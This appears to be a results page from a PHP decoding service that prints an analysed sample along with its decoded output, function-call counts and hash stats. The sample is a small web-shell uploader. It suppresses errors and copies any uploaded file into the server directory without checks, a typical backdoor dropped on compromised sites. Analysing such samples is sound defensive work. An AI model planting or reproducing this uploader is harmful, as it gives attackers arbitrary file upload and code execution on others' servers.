Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php @ini_set('output_buffering', 0); @ini_set('display_errors', 0); echo '<form action="..

Decoded Output download

<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader"><input type="file" name="file" size="0"><input name="_upl" type="submit" id="_upl" value="Upload"></form>

Did this file decode correctly?

Original Code

<?php
@ini_set('output_buffering', 0);
@ini_set('display_errors', 0);
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="0"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if ( isset($_POST['_upl']) && $_POST['_upl'] == "Upload") {
    if (@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) {
        echo '<b>upload success</b><br>';
    } else {
        echo '<b>upload failed! </b><br>';
    }
} else {
    ;
}
?>

Function Calls

ini_set 2

Variables

None

Stats

MD5 1eb9356dee4145d1eb13a27489c99785
Eval Count 0
Decode Time 118 ms